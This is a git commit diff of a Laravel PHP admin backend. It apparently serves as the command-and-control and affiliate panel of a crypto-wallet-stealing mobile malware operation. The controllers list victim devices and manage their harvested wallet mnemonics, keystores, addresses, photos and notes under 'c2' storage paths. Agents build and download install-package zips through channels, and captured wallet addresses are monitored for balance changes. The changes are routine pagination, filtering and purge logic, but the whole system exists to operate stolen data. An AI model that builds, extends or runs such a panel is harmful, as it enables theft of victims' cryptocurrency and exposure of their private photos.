feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
@@ -30,7 +30,7 @@ class AdminUserController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -36,7 +36,7 @@ class AgentUserController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -52,7 +52,7 @@ class ChannelController extends Controller
$q->where('status', (int) $status);
}
$sortable = ['id', 'channel_id', 'channel_name', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
$sortable = ['id', 'channel_id', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -60,24 +60,29 @@ class ChannelController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) {
return [
$row = [
'id' => $c->id,
'channel_id' => $c->channel_id,
'builder_type' => $c->builderType(),
'channel_name' => $c->channel_name ?: '',
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'links' => $c->supportLinks(),
'download_url' => null,
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
];
if ($c->isNewBuilder()) {
$row['download_url'] = route($this->portal().'.channels.download', $c);
}
return $row;
})->values();
return response()->json([
@@ -88,12 +93,17 @@ class ChannelController extends Controller
]);
}
public function randomId()
public function randomId(Request $request)
{
$builderType = strtolower(trim((string) $request->query('builder_type', Channel::BUILDER_OLD)));
$channelId = $builderType === Channel::BUILDER_NEW
? Channel::randomNewChannelId()
: Channel::randomChannelId();
return response()->json([
'code' => 0,
'msg' => '',
'data' => ['channel_id' => Channel::randomChannelId()],
'data' => ['channel_id' => $channelId],
]);
}
@@ -101,8 +111,17 @@ class ChannelController extends Controller
{
abort_if($this->isAgentPortal(), 403);
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_OLD)));
if (! in_array($builderType, [Channel::BUILDER_OLD, Channel::BUILDER_NEW], true)) {
$builderType = Channel::BUILDER_OLD;
}
$channelIdRule = $builderType === Channel::BUILDER_NEW
? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/']
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'channel_id' => $channelIdRule,
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
'user_id' => ['nullable', 'integer', 'min:0'],
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
@@ -112,13 +131,23 @@ class ChannelController extends Controller
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if ($builderType === Channel::BUILDER_NEW) {
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
if ($normalized === null) {
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']);
}
$data['channel_id'] = $normalized;
if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
}
}
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
$channelName = null;
$builderType = (string) ($data['builder_type'] ?? $builderType);
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
$this->assertAgentChannelQuota($userId);
@@ -129,9 +158,7 @@ class ChannelController extends Controller
$data['deployment_seed'] ?? null,
$data['reporting_seed'] ?? null,
$builderType,
$channelName,
);
$channelName = $build['channel_name'] ?? null;
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
@@ -140,7 +167,7 @@ class ChannelController extends Controller
}
try {
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelName) {
$channel = DB::transaction(function () use ($data, $userId, $builderType) {
if ($userId > 0) {
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
if (! $userExists) {
@@ -153,7 +180,6 @@ class ChannelController extends Controller
return Channel::query()->create([
'channel_id' => $data['channel_id'],
'builder_type' => $builderType,
'channel_name' => $channelName,
'user_id' => $userId,
'domains' => [],
'remark' => $data['remark'] ?? null,
@@ -161,7 +187,7 @@ class ChannelController extends Controller
]);
});
} catch (\Throwable $e) {
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType, $channelName);
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType);
return response()->json([
'code' => 1,
@@ -175,7 +201,6 @@ class ChannelController extends Controller
'data' => [
'id' => $channel->id,
'builder_type' => $channel->builderType(),
'channel_name' => $channel->channel_name,
'links' => $channel->supportLinks(),
'seeds' => $build['seeds'],
'domains' => $build['domains'],
@@ -184,6 +209,10 @@ class ChannelController extends Controller
'support_path' => $build['support_path'] ?? $channel->landingPath(),
'weifile_path' => $build['weifile_path'] ?? null,
'daily_path' => $build['daily_path'] ?? '',
'zip_path' => $build['zip_path'] ?? null,
'download_url' => $channel->isNewBuilder()
? route('admin.channels.download', $channel)
: null,
],
]);
}
@@ -236,6 +265,19 @@ class ChannelController extends Controller
]);
}
public function download(Channel $channel, ChannelProjectService $projects)
{
$this->authorizeChannel($channel);
abort_unless($channel->isNewBuilder(), 404);
$path = $projects->newChannelZipPath($channel->channel_id);
abort_unless(is_file($path), 404, '安装包不存在,请重新创建渠道');
return response()->download($path, $channel->channel_id.'.zip', [
'Content-Type' => 'application/zip',
]);
}
public function destroy(Channel $channel, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
@@ -243,11 +285,10 @@ class ChannelController extends Controller
$channelId = $channel->channel_id;
$builderType = $channel->builderType();
$channelName = $channel->channel_name;
try {
// Delete remotely first: a failed remote delete leaves the DB row available
// for a safe retry instead of orphaning an unreachable static project.
$projects->deleteWebTree($channelId, $builderType, $channelName);
$projects->deleteWebTree($channelId, $builderType);
DB::transaction(static fn () => $channel->delete());
} catch (\Throwable $e) {
return response()->json([
@@ -288,7 +329,6 @@ class ChannelController extends Controller
ChannelProjectService $projects,
string $channelId,
string $builderType = Channel::BUILDER_OLD,
?string $channelName = null,
): void {
try {
// A concurrent request may have won the unique channel_id insert. Its
@@ -306,12 +346,11 @@ class ChannelController extends Controller
}
try {
$projects->deleteWebTree($channelId, $builderType, $channelName);
$projects->deleteWebTree($channelId, $builderType);
} catch (\Throwable $e) {
Log::error('Failed to compensate channel build', [
'channel_id' => $channelId,
'builder_type' => $builderType,
'channel_name' => $channelName,
'error' => $e->getMessage(),
]);
}
+102 -18
View File
@@ -13,8 +13,11 @@ use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
class DeviceController extends Controller
@@ -38,7 +41,7 @@ class DeviceController extends Controller
$filters = $this->filtersFrom($request);
$q = $this->filteredQuery($filters);
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'updated_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -46,7 +49,7 @@ class DeviceController extends Controller
}
$q->orderBy('devices.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
@@ -56,13 +59,17 @@ class DeviceController extends Controller
'id' => $d->id,
'device_id' => $d->device_id,
'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '',
'ios_version' => $d->ios_version ?: '',
'ip' => $d->ip ?: '',
'has_wallet' => (int) $d->has_wallet,
'wallet_names' => $d->walletNameList(),
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
'destroy_url' => route($portal.'.devices.destroy', $d),
];
})->values();
@@ -116,7 +123,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$tab = (string) $request->query('tab', 'wallets');
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
$field = (string) $request->query('field', 'id');
@@ -169,9 +176,60 @@ class DeviceController extends Controller
{
$this->authorizeDevice($device);
$photos = $device->photos()->get(['id', 'path']);
$deletedFiles = $this->deletePhotoFiles($device);
$deletedRows = $device->photos()->delete();
$this->deleteStorageDir('c2/photos/'.$device->device_id);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
}
public function destroy(Device $device)
{
$this->authorizeDevice($device);
$listUrl = route($this->portal().'.devices.index');
$this->purgeDevice($device);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'list_url' => $listUrl,
],
]);
}
private function purgeDevice(Device $device): void
{
$this->deletePhotoFiles($device);
$this->deleteStorageDir('c2/photos/'.$device->device_id);
$this->deleteStorageDir('c2/check/'.$device->device_id);
$this->unmonitorAddresses($device);
DB::transaction(function () use ($device) {
$device->apps()->delete();
$device->events()->delete();
$device->photos()->delete();
$device->notes()->delete();
$device->addresses()->delete();
$device->mnemonics()->delete();
$device->keystores()->delete();
$device->delete();
});
}
private function deletePhotoFiles(Device $device): int
{
$deletedFiles = 0;
foreach ($photos as $photo) {
foreach ($device->photos()->get(['id', 'path']) as $photo) {
$path = trim((string) ($photo->path ?? ''));
if ($path === '') {
continue;
@@ -182,29 +240,45 @@ class DeviceController extends Controller
}
}
$deletedRows = $device->photos()->delete();
return $deletedFiles;
}
$dir = 'c2/photos/'.$device->device_id;
private function deleteStorageDir(string $dir): void
{
try {
if (Storage::disk('local')->directoryExists($dir)) {
Storage::disk('local')->deleteDirectory($dir);
}
} catch (\Throwable) {
// older flysystem without directoryExists — best-effort wipe
try {
Storage::disk('local')->deleteDirectory($dir);
} catch (\Throwable) {
}
}
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
private function unmonitorAddresses(Device $device): void
{
$addresses = $device->addresses()->where('monitor', 1)->get();
if ($addresses->isEmpty()) {
return;
}
try {
$svc = app(TokenviewMonitorService::class);
} catch (\Throwable) {
return;
}
foreach ($addresses as $address) {
try {
$address->monitor = 0;
$svc->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
'device_id' => $device->id,
'address_id' => $address->id,
]);
}
}
}
private function authorizeDevice(Device $device): void
@@ -393,10 +467,16 @@ class DeviceController extends Controller
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int}
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/
private function filtersFrom(Request $request): array
{
$hasWallet = $request->query('has_wallet');
$hasWalletInt = null;
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
$hasWalletInt = (int) $hasWallet;
}
return [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
@@ -405,12 +485,13 @@ class DeviceController extends Controller
'ios' => trim((string) $request->query('ios', '')),
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
'has_wallet' => $hasWalletInt,
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
];
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int} $filters
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/
private function filteredQuery(array $filters): Builder
{
@@ -438,6 +519,9 @@ class DeviceController extends Controller
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
}
if ($filters['has_wallet'] !== null) {
$q->where('devices.has_wallet', $filters['has_wallet']);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
}
@@ -45,7 +45,7 @@ class MnemonicController extends Controller
}
$q->orderBy('wallet_mnemonics.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -38,7 +38,7 @@ class NoteController extends Controller
}
$q->orderBy('notes.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -37,7 +37,7 @@ class PageVisitController extends Controller
->forPage($page, $limit)
->get([
'id', 'channel_id', 'client_uid', 'os', 'os_version',
'browser', 'browser_version', 'user_agent', 'ip', 'path', 'referer', 'created_at',
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
]);
return response()->json([
@@ -54,7 +54,7 @@ class PageVisitController extends Controller
'browser_version' => $v->browser_version ?: '',
'user_agent' => $v->user_agent ?: '',
'ip' => $v->ip ?: '',
'path' => $v->path ?: '',
'domain' => $v->domain ?: '',
'referer' => $v->referer ?: '',
'created_at' => optional($v->created_at)?->toDateTimeString(),
])->values(),
@@ -71,6 +71,11 @@ class PageVisitController extends Controller
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os', 'os_version'),
'domain' => $base
->select('domain')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('domain'),
'browser' => $base
->select('browser')
->selectRaw('COUNT(*) as pv')
@@ -95,6 +100,7 @@ class PageVisitController extends Controller
->map(static function ($row) use ($group) {
$label = match ($group) {
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
'domain' => (string) ($row->domain ?? ''),
'browser' => (string) ($row->browser ?? ''),
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
default => (string) ($row->os ?? ''),
@@ -151,6 +157,10 @@ class PageVisitController extends Controller
if ($browserVersion !== '') {
$q->where('browser_version', $browserVersion);
}
$domain = trim((string) $request->query('domain', ''));
if ($domain !== '') {
$q->where('domain', 'like', '%'.$domain.'%');
}
$referer = trim((string) $request->query('referer', ''));
if ($referer !== '') {
$q->where('referer', 'like', '%'.$referer.'%');
@@ -38,7 +38,7 @@ class PhotoController extends Controller
}
$q->orderBy('photos.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -39,7 +39,7 @@ class TransferRecordController extends Controller
}
$q->orderBy('transfer_records.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['transfer_records.*'], 'page', $page);
@@ -47,7 +47,7 @@ class WalletAddressController extends Controller
}
$q->orderBy('wallet_addresses.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);